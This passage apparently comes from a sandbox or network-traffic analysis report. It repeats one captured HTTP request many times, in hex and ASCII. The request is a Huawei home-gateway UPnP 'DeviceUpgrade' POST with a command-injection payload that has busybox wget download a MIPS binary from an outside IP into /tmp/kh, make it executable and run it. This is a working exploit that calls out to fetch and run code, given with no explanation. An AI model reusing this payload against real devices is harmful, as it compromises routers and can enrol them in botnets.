74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
